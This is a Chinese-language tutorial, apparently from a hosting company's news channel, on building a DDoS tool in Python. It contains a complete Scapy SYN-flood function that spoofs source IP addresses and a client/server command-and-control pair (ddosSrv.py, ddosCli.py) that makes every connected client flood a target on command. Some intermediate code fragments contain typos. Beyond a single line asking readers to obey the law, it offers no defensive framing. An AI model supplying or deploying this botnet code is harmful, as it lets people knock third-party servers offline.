Python实现DDos攻击的示例分析

这篇文章主要介绍Python如何实现DDos攻击，文中介绍的非常详细，具有一定的参考价值，感兴趣的小伙伴们一定要看完！

SYN 泛洪攻击

SYN泛洪攻击是一种比较常用的Dos方式之一。通过发送大量伪造的 TCP 连接请求，使被攻击主机资源耗尽（通常是 CPU 满负荷或内存不足）的攻击方式

我们都知道建立 TCP 连接需要三次握手。正常情况下客户端首先向服务器端发送SYN报文，随后服务端返回以SYN+ACK报文，最后客户端向服务端发送ACK报文完成三次握手

而SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理 TCP 请求时，会在协议栈留一块缓冲区来存储握手的过程，当然如果超过一定时间内没有接收到客户端的报文，本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求，全部挂起在半连接状态。这样将不断消耗服务器资源，直到拒绝服务

Scapy3k 基本用法

Scapy3k其实就是Scapy的 Python3 版本，以下简称Scapy。Scapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试重应用非常广泛。Scapy是一个独立的程序同时还可以作为 Python 的第三方库使用

首先安装Scapy3k，Windows 不方便，下面的操作我都是在 Linux 中进行的

sudo pip install scapy

运行scapy

sudo scapy

因为Scapy发送数据包需要root权限，所以这里加上sudo。另外运行的时候会出现一些警告信息，因为没有安装相应的依赖包，不过暂时用不到，所以不用管

接下来我们用Scapy构造一个简单的数据包

pkt = IP(dst = "192.168.50.10")

接下来构造SYN数据包，并发送出去

pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S") send(pkt)

我们构造了一个 IP 包和 TCP 包，并将它们组合到一块，这样就有了一个完整的 TCP 数据包，否则是无法发送出去的。IP 包中我们指定了源地址src和目的地址dst，其中src是我们伪造的地址，这也是保护攻击者的一种方式。flags的值设定为S，说明我们要发送的是一个SYN数据包。非常简单的一段指令就够早了一个伪造了源 IP 地址的SYN数据包

代码实现

现在我们要用 Python 以第三方库的形式使用Scapy，使用方法和用交互式 Shell 的方式一样

前面我们构造了SYN数据包，现在需要实现随机伪造源 IP 地址、以及不同的源端口向目标主机发送SYN数据包：

import random from scapy.all import * def synFlood(tgt,dPort):  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']  for sPort in range(1024,65535):  index = random.randrange(4)  ipLayer = IP(src=srcList[index], dst=tgt)  tcpLayer = TCP(sport=sPort, dport = dPort, flags="S")  packet = ipLayer / tcpLayer   send(packet)

DDos 实现思路

前面我们已经实现了SYN泛洪攻击，而DDos则是多台主机一起发起攻击，我们只需要能发送命令，让连接到服务器的客户端一起向同一目标发起攻击就可以了

世界最大的黑客组织Anonymous经常使用LOIC(low Orbit Ion Cannon，滴轨道离子炮)进行大规模的DDos。LOIC有个HIVEMIND模式，用户可以通过连接到一台 IRC 服务器，当有用户发送命令，任何以HIVEMIND模式连接到 IRC 服务器的成员都会立即攻击该目标

这种方式的优点事不需要傀儡机，可以有很多 "志同道合" 的人一起帮助你实现DDos，不过不太适合在傀儡机中使用。当然实现思路有很多，根据不同情况的选择也会不同。而这里我们将采用客户端、服务器的方式来实现DDos，这种方式非常简单，可扩展性也比较强

argparse 模块

由于 Server 端需要发送命令去控制 Client 端发起攻击，所以这里我们先规定好命令格式

#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>

-H后面是被攻击主机的 IP 地址，-p指定被攻击的端口号，-c控制攻击的开始与停止

命令制定好了，接下来看一下如何使用命令解析库argparse

# Import argparse package import argparse # New ArgumentParser object parser = argparse.ArgumentParser(description="Process some integers.") # Add parameter parser.add_argument('-p', dest='port', type = int, help = 'An port number!') # Parse command line arguments args = parser.parse_args() print("Port:",args.port)

上面的代码中，我们创建了一个ArgumentParser对象，description参数是对命令行解析的一个描述信息，通常在我们使用-h命令的时候显示。add_argument添加我们要解析的参数，这里我们只添加了一个-p参数，dest是通过parse_args()函数返回的对象中的一个属性名称。type就是解析参数的类型。help指定的字符串是为了生成帮助信息。argparse默认就支持-h参数，只要我们在添加参数的时候指定help的值就可以生成帮助信息了

socket 模块

Python 中的socket提供了访问 BSDsocket的接口，可以非常方便的实现网络中的信息交换。通常我们使用socket的时候需要指定ip地址、端口号、协议类型。在进行socket编程之前我们先了解一下客户端(Client)和服务器(Server)的概念。通俗的讲，主动发起连接请求的称为客户端，监听端口响应连接的称为服务器。下面我写一个客户端和服务器的例子：

客户端

# Import socket package import socket # Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish connection s.connect(('192.168.0.100', 7786))

上面这个例子我们首先导入 socket 库，然后创建了一个 socket 对象，socket 对象中的参数AF_INET表示我们使用的是 IPV4 协议，SOCK_STREAM则表示我们使用的是基于流的 TCP 协议。最后我们指定ip地址和端口号建立连接

服务器

# Import socket package import socket cliList = [] # Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Specify IP & Port s.bind(('0.0.0.0', 7786)) # Strat monitor s.listen(10) while True:  # Receive a new connection  sock, addr = s.accept()  # Add sock to the list  cliList.append(sock)

服务器的写法比客户端稍微复杂一些，在创建完 socket 之后，要绑定一个地址和端口，这里的0.0.0.0表示绑定到所有的网络地址，端口号只要是没被占用的就可以。之后开始监听端口，并在参数中指定最大连接数为 10。最后循环等待新的连接，并将已连接的 socket 对象添加到列表中。更多相关细节可以查看 Python 官方文档

代码实现

Server 端

由于 Server 端能等待 Client 主动连接，所以我们在 Server 端发送命令，控制 Client 端发起SYN泛洪攻击

在主函数中我们创建 socket，绑定所有网络地址和58868端口并开始监听，之后我们新开一个线程来等待客户端的连接，以免阻塞我们输入命令

def main():  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.bind(('0.0.0.0', 58868))  s.listen(1024)  t = Thread(target=waitConnect,args(s,))  t.start()

由于我们要给所有客户端发送命令，所以我们在新开的线程中将连接进来的 socket 添加到一个 list 中，这个稍后介绍，但在主函数中我们第一次输入命令之前需要至少有一个客户端链接到服务器，所以这里我判断了一下socket的长度

print('Wait at least a client connection!') while not len(socketList):  pass print('It has been a client connection!')

现在循环等待输入命令，输入之后判断命令是否满足命令格式的基本要求，如果满足，就把命令发送给所有客户端

while True:  print("=" * 50)  print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')    # Wait for input command  cmd_str = input('Please input cmd:')  if len(cmd_str):  if cmd_str[0] == '#':   sendCmd(cmd_str)

现在程序的大体框架已经有了，接下来编写主函数中没有完成的子功能。首先我们应该实现等待客户端的函数，方便开启新的线程

在这个函数中，我们只需要循环等待客户端的连接就可以，新连接的 socket 要判断一下是否在 socketList 中已经存储过了，如果没有，就添加到 socketList 中

# wait connection def waitConnect(s):  while True:  sock, addr = s.accept()  if sock not in socketList:   socketList.append(socket)

我们再来实现发送命令的函数，这个函数会遍历 socketList，将每个 socket 都调用一次 send 将命令发送出去

# send command def sendCmd(cmd):  print("Send command......")  for sock in socketList:  sock.send(cmd.encode = ('UTF-8'))

至此我们的Server端就完成了。新建一个文件，将其命名为ddosSrv.py，向其中添加如下代码

import socket import argparse from threading import Thread socketList = [] # Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' # Send command def sendCmd(cmd):  print("Send command......")  for sock in socketList:  sock.send(cmd.encode('UTF-8')) # Wait connect def waitConnect(s):  while True:  sock, addr = s.accept()  if sock not in socketList:   socketList.append(sock) def main():  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.bind(('0.0.0.0', 58868))  s.listen(1024)  t = Thread(target = waitConnect, args = (s, ))  t.start()    print('Wait at least a client connection!')  while not len(socketList):  pass  print('It has been a client connection!')    while True:  print('=' * 50)  print('The command format:"#-H xxx.xxx.xxx.xxx -p xxx -c <start>"')    # Wait for input command  cmd_str = input("Please input cmd:")  if len(cmd_str):   if cmd_str[0] == '#':   sendCmd(cmd_str) if __name__ == '__main__':  main()

Client 端

我们将在 Client 端实现对主机的SYN泛洪攻击，并在脚本启动后主动连接 Server 端，等待 Server 端发送命令

在主函数中我们先创建ArgumentParser()对象，并将需要解析的命令参数添加好

def main():  p = argparse.ArgumentParser()  p.add_argument('-H', dest = 'host', type = str)  p.add_argument('-p', dest = 'port', type = int)  p.add_argument('-c', dest = 'cmd', type = str)

现在可以创建 socket，连接服务器了。这里为了测试，我们连接到本地的 58868 端口

try:  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect(('127.0.0.1', 58868))  print('To connected server was success!')  print('=' * 50)  cmdHandle(s, p) except:  print('The network connected failed!')  print('Please restart the script!')  sys.exit(0)

我们将接受命令和处理命令定义在一个单独的函数中。这里我们使用一个全局变量，用于判断是否有进程正在发起SYN泛洪攻击。之后就开始循环接收命令了，接收道德数据是byte型，我们需要对其进行解码，解码之后才是字符串。如果接收到的数据长度为 0，就跳过后续的内容，重新接收数据

# Process command def cmdHandle(sock, parser):  global curProcess  while True:  # Receive command  data = sock.recv(1024).decode('UTF-8')  if len(data) == 0:   print('The data is empty')   continue;

如果数据长度不为 0，就判断是否具有命令基本格式的特征#，满足基本条件就需要用ArgumentParser对象来解析命令

if data[0] == '#':  try:  # Parse command  options = parser.parse_args(data[1:].split())  m_host = options.host  m_port = options.port  m_cmd = options.cmd

命令参数解析出来后，还需要判断到底是start命令还是stop命令。如果是start命令，首先要判断当前是否有进程在运行，如果有进程判断进程是否存活。如果当前有进程正在发起SYN泛洪攻击，我们就先结束这个进程，并清空屏幕，然后再启动一个进程，发起SYN泛洪攻击

# DDos start command if m_cmd.lower() == 'start':  if curProcess != None and curprocess.is_alive():  # End of process  curProcess.terminate()  curProcess = None  os.system('clear')  print('The synFlood is start')  p = Process(target = synFlood, args = (m_host, m_port))  p.start()  curProcess = p

如果命令是stop，并且有进程存活，就直接结束这个进程，并清空屏幕，否则就什么也不做

# DDos stop command  elif m_cmd.lower() == 'stop':  if curProcess.is_alive():   curProcess.terminate()   os.system('clear') except:  print('Failed to perform the command!')

最后，新建一个文件，命名为ddosCli.py，向其中添加如下代码

# -*- coding: utf-8 -*- import sys import socket import random import argparse from multiprocessing import Process from scapy.all import * import os  isWorking = False  curProcess = None # SYN flood attack def synFlood(tgt,dPort):  print('='*100)  print('The syn flood is running!')  print('='*100)  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']  for sPort in range(1024,65535):  index = random.randrange(4)  ipLayer = IP(src=srcList[index], dst=tgt)  tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")  packet = ipLayer / tcpLayer   send(packet) # Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start>'  # Process command def cmdHandle(sock,parser):  global curProcess  while True:  # Receive command  data = sock.recv(1024).decode('utf-8')  if len(data) == 0:   print('The data is empty')   return  if data[0] == '#':   try:   # Parse command   options = parser.parse_args(data[1:].split())   m_host = options.host   m_port = options.port   m_cmd = options.cmd   # DDos start command   if m_cmd.lower() == 'start':    if curProcess != None and curProcess.is_alive():    curProcess.terminate()    curProcess = None    os.system('clear')    print('The synFlood is start')    p = Process(target=synFlood,args=(m_host,m_port))    p.start()    curProcess = p   # DDos stop command   elif m_cmd.lower() =='stop':    if curProcess.is_alive():    curProcess.terminate()    os.system('clear')   except:   print('Failed to perform the command!') def main():  # Add commands that need to be parsed  p = argparse.ArgumentParser()  p.add_argument('-H', dest='host', type=str)  p.add_argument('-p', dest='port', type=int)  p.add_argument('-c', dest='cmd', type=str)  print("*" * 40)  try:  # Create socket object  s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  # Connect to Server  s.connect(('127.0.0.1',58868))  print('To connected server was success!')  print("=" * 40)  # Process command  cmdHandle(s,p)  except:  print('The network connected failed!')  print('Please restart the script!')  sys.exit(0) if __name__ == '__main__':  main()

程序测试

首先运行Server端脚本：

sudo python3 ddosSrv.py

然后再运行Client端脚本，一定要用root权限运行

此时可以看到Client端已经提示连接成功了

Server端也提示有一个客户端连接了

输入一个命令测试一下，这里我以我自己的博客为目标进行测试，各位请遵守网络安全法

看到Client端已经开始发送数据包了，说明已经发起了SYN泛洪攻击

以上是“Python如何实现DDos攻击”这篇文章的所有内容，感谢各位的阅读！希望分享的内容对大家有帮助，更多相关知识，欢迎关注亿速云行业资讯频道！